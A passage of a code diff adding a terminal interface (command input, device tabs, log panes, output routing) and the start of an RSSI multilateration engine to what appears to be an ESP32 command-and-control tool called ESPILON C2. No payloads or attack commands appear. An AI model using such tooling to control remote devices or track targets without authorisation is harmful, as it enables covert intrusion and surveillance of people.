||||||
|
|
||||||
|
/* Log colors */
|
||||||
|
.log-system {
|
||||||
|
color: cyan;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-device {
|
||||||
|
color: yellow;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-error {
|
||||||
|
color: red;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-command {
|
||||||
|
color: blue;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-response {
|
||||||
|
color: green;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Status indicator */
|
||||||
|
.status-connected {
|
||||||
|
color: green;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-inactive {
|
||||||
|
color: yellow;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-disconnected {
|
||||||
|
color: red;
|
||||||
|
}
|
||||||
5
tools/c2/tui/widgets/__init__.py
Normal file
5
tools/c2/tui/widgets/__init__.py
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
|
||||||
|
from tui.widgets.command_input import CommandInput
|
||||||
|
from tui.widgets.device_tabs import DeviceTabs
|
||||||
|
|
||||||
|
__all__ = ["GlobalLogPane", "DeviceLogPane", "CommandInput", "DeviceTabs"]
|
||||||
215
tools/c2/tui/widgets/command_input.py
Normal file
215
tools/c2/tui/widgets/command_input.py
Normal file
@ -0,0 +1,215 @@
|
|||||||
|
"""
|
||||||
|
Command input widget with history and zsh-style tab completion.
|
||||||
|
"""
|
||||||
|
from textual.widgets import Input
|
||||||
|
from textual.message import Message
|
||||||
|
from typing import Callable, Optional
|
||||||
|
|
||||||
|
|
||||||
|
class CommandInput(Input):
|
||||||
|
"""Command input with history and zsh-style tab completion."""
|
||||||
|
|
||||||
|
DEFAULT_CSS = """
|
||||||
|
CommandInput {
|
||||||
|
dock: bottom;
|
||||||
|
height: 1;
|
||||||
|
border: none;
|
||||||
|
background: $surface;
|
||||||
|
padding: 0 1;
|
||||||
|
}
|
||||||
|
CommandInput:focus {
|
||||||
|
border: none;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
class CommandSubmitted(Message):
|
||||||
|
"""Posted when a command is submitted."""
|
||||||
|
def __init__(self, command: str):
|
||||||
|
self.command = command
|
||||||
|
super().__init__()
|
||||||
|
|
||||||
|
class CompletionsAvailable(Message):
|
||||||
|
"""Posted when multiple completions are available."""
|
||||||
|
def __init__(self, completions: list[str], word: str):
|
||||||
|
self.completions = completions
|
||||||
|
self.word = word
|
||||||
|
super().__init__()
|
||||||
|
|
||||||
|
def __init__(self, **kwargs):
|
||||||
|
super().__init__(
|
||||||
|
placeholder="c2:> Type command here...",
|
||||||
|
**kwargs
|
||||||
|
)
|
||||||
|
self._history: list[str] = []
|
||||||
|
self._history_index: int = -1
|
||||||
|
self._current_input: str = ""
|
||||||
|
self._completer: Optional[Callable[[str, int], Optional[str]]] = None
|
||||||
|
self._last_completion_text: str = ""
|
||||||
|
self._last_completions: list[str] = []
|
||||||
|
self._completion_cycle_index: int = 0
|
||||||
|
|
||||||
|
def set_completer(self, completer: Callable[[str, int], Optional[str]]):
|
||||||
|
"""Set the tab completion function (same signature as readline completer)."""
|
||||||
|
self._completer = completer
|
||||||
|
|
||||||
|
def on_key(self, event) -> None:
|
||||||
|
"""Handle special keys for history and completion."""
|
||||||
|
if event.key == "up":
|
||||||
|
event.prevent_default()
|
||||||
|
self._navigate_history(-1)
|
||||||
|
elif event.key == "down":
|
||||||
|
event.prevent_default()
|
||||||
|
self._navigate_history(1)
|
||||||
|
elif event.key == "tab":
|
||||||
|
event.prevent_default()
|
||||||
|
self._handle_tab_completion()
|
||||||
|
|
||||||
|
def _get_all_completions(self, word: str) -> list[str]:
|
||||||
|
"""Get all possible completions for a word."""
|
||||||
|
if not self._completer:
|
||||||
|
return []
|
||||||
|
|
||||||
|
completions = []
|
||||||
|
state = 0
|
||||||
|
while True:
|
||||||
|
completion = self._completer(word, state)
|
||||||
|
if completion is None:
|
||||||
|
break
|
||||||
|
completions.append(completion)
|
||||||
|
state += 1
|
||||||
|
return completions
|
||||||
|
|
||||||
|
def _find_common_prefix(self, strings: list[str]) -> str:
|
||||||
|
"""Find the longest common prefix among strings."""
|
||||||
|
if not strings:
|
||||||
|
return ""
|
||||||
|
if len(strings) == 1:
|
||||||
|
return strings[0]
|
||||||
|
|
||||||
|
prefix = strings[0]
|
||||||
|
for s in strings[1:]:
|
||||||
|
while not s.startswith(prefix):
|
||||||
|
prefix = prefix[:-1]
|
||||||
|
if not prefix:
|
||||||
|
return ""
|
||||||
|
return prefix
|
||||||
|
|
||||||
|
def _handle_tab_completion(self):
|
||||||
|
"""Handle zsh-style tab completion."""
|
||||||
|
if not self._completer:
|
||||||
|
return
|
||||||
|
|
||||||
|
current_text = self.value
|
||||||
|
cursor_pos = self.cursor_position
|
||||||
|
|
||||||
|
# Get the word being completed
|
||||||
|
text_before_cursor = current_text[:cursor_pos]
|
||||||
|
parts = text_before_cursor.split()
|
||||||
|
|
||||||
|
if not parts:
|
||||||
|
word_to_complete = ""
|
||||||
|
elif text_before_cursor.endswith(" "):
|
||||||
|
word_to_complete = ""
|
||||||
|
else:
|
||||||
|
word_to_complete = parts[-1]
|
||||||
|
|
||||||
|
# Check if context changed (new completion session)
|
||||||
|
context_changed = text_before_cursor != self._last_completion_text
|
||||||
|
|
||||||
|
if context_changed:
|
||||||
|
# New completion session - get all completions
|
||||||
|
self._last_completions = self._get_all_completions(word_to_complete)
|
||||||
|
self._completion_cycle_index = 0
|
||||||
|
self._last_completion_text = text_before_cursor
|
||||||
|
|
||||||
|
if not self._last_completions:
|
||||||
|
# No completions
|
||||||
|
return
|
||||||
|
|
||||||
|
if len(self._last_completions) == 1:
|
||||||
|
# Single match - complete directly
|
||||||
|
self._apply_completion(self._last_completions[0], word_to_complete, cursor_pos)
|
||||||
|
self._last_completions = []
|
||||||
|
return
|
||||||
|
|
||||||
|
# Multiple matches - complete to common prefix and show options
|
||||||
|
common_prefix = self._find_common_prefix(self._last_completions)
|
||||||
|
|
||||||
|
if common_prefix and len(common_prefix) > len(word_to_complete):
|
||||||
|
# Complete to common prefix
|
||||||
|
self._apply_completion(common_prefix, word_to_complete, cursor_pos)
|
||||||
|
|
||||||
|
# Show all completions
|
||||||
|
self.post_message(self.CompletionsAvailable(
|
||||||
|
self._last_completions.copy(),
|
||||||
|
word_to_complete
|
||||||
|
))
|
||||||
|
|
||||||
|
else:
|
||||||
|
# Same context - cycle through completions
|
||||||
|
if not self._last_completions:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Get next completion in cycle
|
||||||
|
completion = self._last_completions[self._completion_cycle_index]
|
||||||
|
self._apply_completion(completion, word_to_complete, cursor_pos)
|
||||||
|
|
||||||
|
# Advance cycle
|
||||||
|
self._completion_cycle_index = (self._completion_cycle_index + 1) % len(self._last_completions)
|
||||||
|
|
||||||
|
def _apply_completion(self, completion: str, word_to_complete: str, cursor_pos: int):
|
||||||
|
"""Apply a completion to the input."""
|
||||||
|
current_text = self.value
|
||||||
|
text_before_cursor = current_text[:cursor_pos]
|
||||||
|
|
||||||
|
if word_to_complete:
|
||||||
|
prefix = text_before_cursor[:-len(word_to_complete)]
|
||||||
|
else:
|
||||||
|
prefix = text_before_cursor
|
||||||
|
|
||||||
|
new_text = prefix + completion + current_text[cursor_pos:]
|
||||||
|
new_cursor = len(prefix) + len(completion)
|
||||||
|
|
||||||
|
self.value = new_text
|
||||||
|
self.cursor_position = new_cursor
|
||||||
|
self._last_completion_text = new_text[:new_cursor]
|
||||||
|
|
||||||
|
def _navigate_history(self, direction: int):
|
||||||
|
"""Navigate through command history."""
|
||||||
|
if not self._history:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._history_index == -1:
|
||||||
|
self._current_input = self.value
|
||||||
|
|
||||||
|
new_index = self._history_index + direction
|
||||||
|
|
||||||
|
if new_index < -1:
|
||||||
|
new_index = -1
|
||||||
|
elif new_index >= len(self._history):
|
||||||
|
new_index = len(self._history) - 1
|
||||||
|
|
||||||
|
self._history_index = new_index
|
||||||
|
|
||||||
|
if self._history_index == -1:
|
||||||
|
self.value = self._current_input
|
||||||
|
else:
|
||||||
|
self.value = self._history[-(self._history_index + 1)]
|
||||||
|
|
||||||
|
self.cursor_position = len(self.value)
|
||||||
|
|
||||||
|
def action_submit(self) -> None:
|
||||||
|
"""Submit the current command."""
|
||||||
|
command = self.value.strip()
|
||||||
|
if command:
|
||||||
|
self._history.append(command)
|
||||||
|
if len(self._history) > 100:
|
||||||
|
self._history.pop(0)
|
||||||
|
self.post_message(self.CommandSubmitted(command))
|
||||||
|
|
||||||
|
self.value = ""
|
||||||
|
self._history_index = -1
|
||||||
|
self._current_input = ""
|
||||||
|
self._last_completions = []
|
||||||
|
self._completion_cycle_index = 0
|
||||||
|
self._last_completion_text = ""
|
||||||
159
tools/c2/tui/widgets/device_tabs.py
Normal file
159
tools/c2/tui/widgets/device_tabs.py
Normal file
@ -0,0 +1,159 @@
|
|||||||
|
"""
|
||||||
|
Dynamic device tabs widget.
|
||||||
|
"""
|
||||||
|
from textual.widgets import Static, Button
|
||||||
|
from textual.containers import Horizontal
|
||||||
|
from textual.message import Message
|
||||||
|
from textual.reactive import reactive
|
||||||
|
|
||||||
|
|
||||||
|
class DeviceTabs(Horizontal):
|
||||||
|
"""Tab bar for device switching with dynamic updates."""
|
||||||
|
|
||||||
|
DEFAULT_CSS = """
|
||||||
|
DeviceTabs {
|
||||||
|
height: 1;
|
||||||
|
width: 100%;
|
||||||
|
background: $surface;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeviceTabs .tab-label {
|
||||||
|
padding: 0 1;
|
||||||
|
height: 1;
|
||||||
|
min-width: 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeviceTabs .tab-label.active {
|
||||||
|
background: $primary;
|
||||||
|
color: $text;
|
||||||
|
text-style: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeviceTabs .tab-label:hover {
|
||||||
|
background: $primary-darken-1;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeviceTabs .header-label {
|
||||||
|
padding: 0 1;
|
||||||
|
height: 1;
|
||||||
|
color: $text-muted;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeviceTabs .separator {
|
||||||
|
padding: 0;
|
||||||
|
height: 1;
|
||||||
|
color: $text-muted;
|
||||||
|
}
|
||||||
|
|
||||||
|
DeviceTabs .device-count {
|
||||||
|
dock: right;
|
||||||
|
padding: 0 1;
|
||||||
|
height: 1;
|
||||||
|
color: $text-muted;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
active_tab: reactive[str] = reactive("global")
|
||||||
|
devices_hidden: reactive[bool] = reactive(False)
|
||||||
|
|
||||||
|
class TabSelected(Message):
|
||||||
|
"""Posted when a tab is selected."""
|
||||||
|
def __init__(self, tab_id: str, device_id: str | None = None):
|
||||||
|
self.tab_id = tab_id
|
||||||
|
self.device_id = device_id
|
||||||
|
super().__init__()
|
||||||
|
|
||||||
|
def __init__(self, **kwargs):
|
||||||
|
super().__init__(**kwargs)
|
||||||
|
self._devices: list[str] = []
|
||||||
|
|
||||||
|
def compose(self):
|
||||||
|
yield Static("C3PO", classes="header-label", id="c3po-label")
|
||||||
|
yield Static(" \u2500 ", classes="separator")
|
||||||
|
yield Static("[G]lobal", classes="tab-label active", id="tab-global")
|
||||||
|
yield Static(" [H]ide", classes="tab-label", id="tab-hide")
|
||||||
|
yield Static("", classes="device-count", id="device-count")
|
||||||
|
|
||||||
|
def add_device(self, device_id: str):
|
||||||
|
"""Add a device tab."""
|
||||||
|
if device_id not in self._devices:
|
||||||
|
self._devices.append(device_id)
|
||||||
|
self._rebuild_tabs()
|
||||||
|
|
||||||
|
def remove_device(self, device_id: str):
|
||||||
|
"""Remove a device tab."""
|
||||||
|
if device_id in self._devices:
|
||||||
|
self._devices.remove(device_id)
|
||||||
|
if self.active_tab == device_id:
|
||||||
|
self.active_tab = "global"
|
||||||
|
self._rebuild_tabs()
|
||||||
|
|
||||||
|
def _rebuild_tabs(self):
|
||||||
|
"""Rebuild all tabs."""
|
||||||
|
for widget in list(self.children):
|
||||||
|
if hasattr(widget, 'id') and widget.id and widget.id.startswith("tab-device-"):
|
||||||
|
widget.remove()
|
||||||
|
|
||||||
|
hide_tab = self.query_one("#tab-hide", Static)
|
||||||
|
|
||||||
|
for i, device_id in enumerate(self._devices):
|
||||||
|
if i < 9:
|
||||||
|
label = f"[{i+1}]{device_id}"
|
||||||
|
tab = Static(
|
||||||
|
label,
|
||||||
|
classes="tab-label" + (" active" if self.active_tab == device_id else ""),
|
||||||
|
id=f"tab-device-{device_id}"
|
||||||
|
)
|
||||||
|
self.mount(tab, before=hide_tab)
|
||||||
|
|
||||||
|
count_label = self.query_one("#device-count", Static)
|
||||||
|
count_label.update(f"{len(self._devices)} device{'s' if len(self._devices) != 1 else ''}")
|
||||||
|
|
||||||
|
def select_tab(self, tab_id: str):
|
||||||
|
"""Select a tab by ID."""
|
||||||
|
if tab_id == "global":
|
||||||
|
self.active_tab = "global"
|
||||||
|
self.post_message(self.TabSelected("global"))
|
||||||
|
elif tab_id in self._devices:
|
||||||
|
self.active_tab = tab_id
|
||||||
|
self.post_message(self.TabSelected(tab_id, tab_id))
|
||||||
|
|
||||||
|
self._update_active_styles()
|
||||||
|
|
||||||
|
def select_by_index(self, index: int):
|
||||||
|
"""Select device tab by numeric index (1-9)."""
|
||||||
|
if 0 < index <= len(self._devices):
|
||||||
|
device_id = self._devices[index - 1]
|
||||||
|
self.select_tab(device_id)
|
||||||
|
|
||||||
|
def toggle_hide(self):
|
||||||
|
"""Toggle device panes visibility."""
|
||||||
|
self.devices_hidden = not self.devices_hidden
|
||||||
|
hide_tab = self.query_one("#tab-hide", Static)
|
||||||
|
hide_tab.update("[H]ide" if not self.devices_hidden else "[H]show")
|
||||||
|
|
||||||
|
def _update_active_styles(self):
|
||||||
|
"""Update tab styles to show active state."""
|
||||||
|
for tab in self.query(".tab-label"):
|
||||||
|
tab.remove_class("active")
|
||||||
|
|
||||||
|
if self.active_tab == "global":
|
||||||
|
self.query_one("#tab-global", Static).add_class("active")
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
self.query_one(f"#tab-device-{self.active_tab}", Static).add_class("active")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def on_click(self, event) -> None:
|
||||||
|
"""Handle tab clicks."""
|
||||||
|
target = event.target
|
||||||
|
if hasattr(target, 'id') and target.id:
|
||||||
|
if target.id == "tab-global":
|
||||||
|
self.select_tab("global")
|
||||||
|
elif target.id == "tab-hide":
|
||||||
|
self.toggle_hide()
|
||||||
|
elif target.id.startswith("tab-device-"):
|
||||||
|
device_id = target.id.replace("tab-device-", "")
|
||||||
|
self.select_tab(device_id)
|
||||||
117
tools/c2/tui/widgets/log_pane.py
Normal file
117
tools/c2/tui/widgets/log_pane.py
Normal file
@ -0,0 +1,117 @@
|
|||||||
|
"""
|
||||||
|
Log pane widgets for displaying device and global logs.
|
||||||
|
"""
|
||||||
|
from textual.widgets import RichLog
|
||||||
|
from rich.text import Text
|
||||||
|
|
||||||
|
|
||||||
|
class GlobalLogPane(RichLog):
|
||||||
|
"""Combined log view for all devices and system messages."""
|
||||||
|
|
||||||
|
DEFAULT_CSS = """
|
||||||
|
GlobalLogPane {
|
||||||
|
border: solid $primary;
|
||||||
|
height: 100%;
|
||||||
|
scrollbar-size: 1 1;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, **kwargs):
|
||||||
|
super().__init__(
|
||||||
|
highlight=True,
|
||||||
|
markup=True,
|
||||||
|
wrap=True,
|
||||||
|
max_lines=5000,
|
||||||
|
**kwargs
|
||||||
|
)
|
||||||
|
|
||||||
|
def add_system(self, timestamp: str, message: str):
|
||||||
|
"""Add a system message."""
|
||||||
|
text = Text()
|
||||||
|
text.append(f"{timestamp} ", style="dim")
|
||||||
|
text.append("[SYS] ", style="cyan bold")
|
||||||
|
text.append(message)
|
||||||
|
self.write(text)
|
||||||
|
|
||||||
|
def add_device_event(self, timestamp: str, device_id: str, event: str):
|
||||||
|
"""Add a device event."""
|
||||||
|
text = Text()
|
||||||
|
text.append(f"{timestamp} ", style="dim")
|
||||||
|
text.append(f"[{device_id}] ", style="yellow")
|
||||||
|
text.append(event)
|
||||||
|
self.write(text)
|
||||||
|
|
||||||
|
def add_command_sent(self, timestamp: str, device_id: str, command: str, request_id: str):
|
||||||
|
"""Add a command sent message."""
|
||||||
|
text = Text()
|
||||||
|
text.append(f"{timestamp} ", style="dim")
|
||||||
|
text.append("[CMD] ", style="blue bold")
|
||||||
|
text.append(f"{command} ", style="blue")
|
||||||
|
text.append(f"-> {device_id}", style="dim")
|
||||||
|
self.write(text)
|
||||||
|
|
||||||
|
def add_command_response(self, timestamp: str, device_id: str, response: str, request_id: str):
|
||||||
|
"""Add a command response."""
|
||||||
|
text = Text()
|
||||||
|
text.append(f"{timestamp} ", style="dim")
|
||||||
|
text.append(f"[{device_id}] ", style="green")
|
||||||
|
text.append(response, style="green")
|
||||||
|
self.write(text)
|
||||||
|
|
||||||
|
def add_error(self, timestamp: str, message: str):
|
||||||
|
"""Add an error message."""
|
||||||
|
text = Text()
|
||||||
|
text.append(f"{timestamp} ", style="dim")
|
||||||
|
text.append("[ERR] ", style="red bold")
|
||||||
|
text.append(message, style="red")
|
||||||
|
self.write(text)
|
||||||
|
|
||||||
|
|
||||||
|
class DeviceLogPane(RichLog):
|
||||||
|
"""Per-device log display with filtering."""
|
||||||
|
|
||||||
|
DEFAULT_CSS = """
|
||||||
|
DeviceLogPane {
|
||||||
|
height: 100%;
|
||||||
|
scrollbar-size: 1 1;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, device_id: str, **kwargs):
|
||||||
|
super().__init__(
|
||||||
|
highlight=True,
|
||||||
|
markup=True,
|
||||||
|
wrap=True,
|
||||||
|
max_lines=2000,
|
||||||
|
**kwargs
|
||||||
|
)
|
||||||
|
self.device_id = device_id
|
||||||
|
|
||||||
|
def add_event(self, timestamp: str, event: str, event_type: str = "info"):
|
||||||
|
"""Add an event to this device's log."""
|
||||||
|
text = Text()
|
||||||
|
text.append(f"{timestamp} ", style="dim")
|
||||||
|
|
||||||
|
style_map = {
|
||||||
|
"info": "yellow",
|
||||||
|
"log": "white",
|
||||||
|
"error": "red",
|
||||||
|
"cmd_sent": "blue",
|
||||||
|
"cmd_resp": "green",
|
||||||
|
"data": "magenta",
|
||||||
|
}
|
||||||
|
style = style_map.get(event_type, "white")
|
||||||
|
|
||||||
|
prefix_map = {
|
||||||
|
"info": "> INFO: ",
|
||||||
|
"log": "> LOG: ",
|
||||||
|
"error": "> ERROR: ",
|
||||||
|
"cmd_sent": "> CMD: ",
|
||||||
|
"cmd_resp": "> RESP: ",
|
||||||
|
"data": "> DATA: ",
|
||||||
|
}
|
||||||
|
prefix = prefix_map.get(event_type, "> ")
|
||||||
|
|
||||||
|
text.append(prefix, style=f"{style} bold")
|
||||||
|
text.append(event, style=style)
|
||||||
|
self.write(text)
|
||||||
@ -1,29 +1,115 @@
|
|||||||
import time
|
import time
|
||||||
from utils.constant import _color
|
from utils.constant import _color
|
||||||
|
|
||||||
|
# TUI bridge import (lazy to avoid circular imports)
|
||||||
|
_tui_bridge = None
|
||||||
|
|
||||||
|
|
||||||
|
def _get_bridge():
|
||||||
|
global _tui_bridge
|
||||||
|
if _tui_bridge is None:
|
||||||
|
try:
|
||||||
|
from tui.bridge import tui_bridge
|
||||||
|
_tui_bridge = tui_bridge
|
||||||
|
except ImportError:
|
||||||
|
_tui_bridge = False
|
||||||
|
return _tui_bridge if _tui_bridge else None
|
||||||
|
|
||||||
|
|
||||||
class Display:
|
class Display:
|
||||||
|
_tui_mode = False
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def enable_tui_mode(cls):
|
||||||
|
"""Enable TUI mode - routes output to TUI bridge instead of print."""
|
||||||
|
cls._tui_mode = True
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def disable_tui_mode(cls):
|
||||||
|
"""Disable TUI mode - back to print output."""
|
||||||
|
cls._tui_mode = False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _timestamp() -> str:
|
def _timestamp() -> str:
|
||||||
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
|
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def system_message(message: str):
|
def system_message(message: str):
|
||||||
|
if Display._tui_mode:
|
||||||
|
bridge = _get_bridge()
|
||||||
|
if bridge:
|
||||||
|
from tui.bridge import TUIMessage, MessageType
|
||||||
|
bridge.post_message(TUIMessage(
|
||||||
|
msg_type=MessageType.SYSTEM_MESSAGE,
|
||||||
|
payload=message
|
||||||
|
))
|
||||||
|
return
|
||||||
print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}")
|
print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def device_event(device_id: str, event: str):
|
def device_event(device_id: str, event: str):
|
||||||
|
if Display._tui_mode:
|
||||||
|
bridge = _get_bridge()
|
||||||
|
if bridge:
|
||||||
|
from tui.bridge import TUIMessage, MessageType
|
||||||
|
# Detect special events
|
||||||
|
if "Connected from" in event:
|
||||||
|
msg_type = MessageType.DEVICE_CONNECTED
|
||||||
|
elif "Reconnected from" in event:
|
||||||
|
msg_type = MessageType.DEVICE_RECONNECTED
|
||||||
|
elif event == "Disconnected":
|
||||||
|
msg_type = MessageType.DEVICE_DISCONNECTED
|
||||||
|
else:
|
||||||
|
msg_type = MessageType.DEVICE_EVENT
|
||||||
|
bridge.post_message(TUIMessage(
|
||||||
|
msg_type=msg_type,
|
||||||
|
device_id=device_id,
|
||||||
|
payload=event
|
||||||
|
))
|
||||||
|
return
|
||||||
print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}")
|
print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def command_sent(device_id: str, command_name: str, request_id: str):
|
def command_sent(device_id: str, command_name: str, request_id: str):
|
||||||
|
if Display._tui_mode:
|
||||||
|
bridge = _get_bridge()
|
||||||
|
if bridge:
|
||||||
|
from tui.bridge import TUIMessage, MessageType
|
||||||
|
bridge.post_message(TUIMessage(
|
||||||
|
msg_type=MessageType.COMMAND_SENT,
|
||||||
|
device_id=device_id,
|
||||||
|
payload=command_name,
|
||||||
|
request_id=request_id
|
||||||
|
))
|
||||||
|
return
|
||||||
print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}")
|
print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def command_response(request_id: str, device_id: str, response: str):
|
def command_response(request_id: str, device_id: str, response: str):
|
||||||
|
if Display._tui_mode:
|
||||||
|
bridge = _get_bridge()
|
||||||
|
if bridge:
|
||||||
|
from tui.bridge import TUIMessage, MessageType
|
||||||
|
bridge.post_message(TUIMessage(
|
||||||
|
msg_type=MessageType.COMMAND_RESPONSE,
|
||||||
|
device_id=device_id,
|
||||||
|
payload=response,
|
||||||
|
request_id=request_id
|
||||||
|
))
|
||||||
|
return
|
||||||
print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}")
|
print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def error(message: str):
|
def error(message: str):
|
||||||
|
if Display._tui_mode:
|
||||||
|
bridge = _get_bridge()
|
||||||
|
if bridge:
|
||||||
|
from tui.bridge import TUIMessage, MessageType
|
||||||
|
bridge.post_message(TUIMessage(
|
||||||
|
msg_type=MessageType.ERROR,
|
||||||
|
payload=message
|
||||||
|
))
|
||||||
|
return
|
||||||
print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}")
|
print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|||||||
6
tools/c2/web/__init__.py
Normal file
6
tools/c2/web/__init__.py
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
"""Unified web server module for ESPILON C2."""
|
||||||
|
|
||||||
|
from .server import UnifiedWebServer
|
||||||
|
from .mlat import MlatEngine
|
||||||
|
|
||||||
|
__all__ = ["UnifiedWebServer", "MlatEngine"]
|
||||||
429
tools/c2/web/mlat.py
Normal file
429
tools/c2/web/mlat.py
Normal file
@ -0,0 +1,429 @@
|
|||||||
|
"""MLAT (Multilateration) engine for device positioning with GPS support."""
|
||||||
|
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
import math
|
||||||
|
from typing import Optional, Tuple
|
||||||
|
import numpy as np
|
||||||
|
from scipy.optimize import minimize
|
||||||
|
|
||||||
|
|
||||||
|
class MlatEngine:
|
||||||
|
"""
|
||||||
|
Calculates target position from multiple scanner RSSI readings.
|
||||||
|
|
||||||
|
Supports both:
|
||||||
|
- GPS coordinates (lat, lon) for outdoor tracking
|
||||||
|
- Local coordinates (x, y in meters) for indoor tracking
|
||||||
|
|
||||||
|
Uses the log-distance path loss model to convert RSSI to distance,
|
||||||
|
then weighted least squares optimization for position estimation.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Earth radius in meters (for GPS calculations)
|
||||||
|
EARTH_RADIUS = 6371000
|
||||||
|
|
||||||
|
def __init__(self, rssi_at_1m: float = -40, path_loss_n: float = 2.5, smoothing_window: int = 5):
|
||||||
|
"""
|
||||||
|
Initialize the MLAT engine.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
rssi_at_1m: RSSI value at 1 meter distance (calibration, typically -40 to -50)
|
||||||
|
path_loss_n: Path loss exponent (2.0 free space, 2.5-3.5 indoors)
|
||||||
|
smoothing_window: Number of readings to average for noise reduction
|
||||||
|
"""
|
||||||
|
self.rssi_at_1m = rssi_at_1m
|
||||||
|
self.path_loss_n = path_loss_n
|
||||||
|
self.smoothing_window = smoothing_window
|
||||||
|
|
||||||
|
# Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}}
|
||||||
|
self.scanners: dict = {}
|
||||||
|
|
||||||
|
# Last calculated target position
|
||||||
|
self._last_target: Optional[dict] = None
|
||||||
|
self._last_calculation: float = 0
|
||||||
|
|
||||||
|
# Coordinate mode: 'gps' or 'local'
|
||||||
|
self._coord_mode = 'gps'
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def haversine_distance(lat1: float, lon1: float, lat2: float, lon2: float) -> float:
|
||||||
|
"""
|
||||||
|
Calculate distance between two GPS points using Haversine formula.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
lat1, lon1: First point (degrees)
|
||||||
|
lat2, lon2: Second point (degrees)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Distance in meters
|
||||||
|
"""
|
||||||
|
lat1_rad = math.radians(lat1)
|
||||||
|
lat2_rad = math.radians(lat2)
|
||||||
|
delta_lat = math.radians(lat2 - lat1)
|
||||||
|
delta_lon = math.radians(lon2 - lon1)
|
||||||
|
|
||||||
|
a = (math.sin(delta_lat / 2) ** 2 +
|
||||||
|
math.cos(lat1_rad) * math.cos(lat2_rad) * math.sin(delta_lon / 2) ** 2)
|
||||||
|
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
|
||||||
|
|
||||||
|
return MlatEngine.EARTH_RADIUS * c
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def meters_to_degrees(meters: float, latitude: float) -> Tuple[float, float]:
|
||||||
|
"""
|
||||||
|
Convert meters to approximate degrees at a given latitude.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
meters: Distance in meters
|
||||||
|
latitude: Reference latitude (for longitude scaling)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
(delta_lat, delta_lon) in degrees
|
||||||
|
"""
|
||||||
|
delta_lat = meters / 111320 # ~111.32 km per degree latitude
|
||||||
|
delta_lon = meters / (111320 * math.cos(math.radians(latitude)))
|
||||||
|
return delta_lat, delta_lon
|
||||||
|
|
||||||
|
def parse_mlat_message(self, scanner_id: str, message: str) -> bool:
|
||||||
|
"""
|
||||||
|
Parse MLAT message from ESP32 device.
|
||||||
|
|
||||||
|
New format with coordinate type prefix:
|
||||||
|
MLAT:G;<lat>;<lon>;<rssi> - GPS coordinates
|
||||||
|
MLAT:L;<x>;<y>;<rssi> - Local coordinates (meters)
|
||||||
|
|
||||||
|
Legacy format (backward compatible):
|
||||||
|
MLAT:<lat>;<lon>;<rssi> - Treated as GPS
|
||||||
|
|
||||||
|
Args:
|
||||||
|
scanner_id: Device ID that sent the message
|
||||||
|
message: Raw message content (without MLAT: prefix)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if successfully parsed, False otherwise
|
||||||
|
"""
|
||||||
|
# New format with type prefix: G;lat;lon;rssi or L;x;y;rssi
|
||||||
|
pattern_new = re.compile(r'^([GL]);([0-9.+-]+);([0-9.+-]+);(-?\d+)$')
|
||||||
|
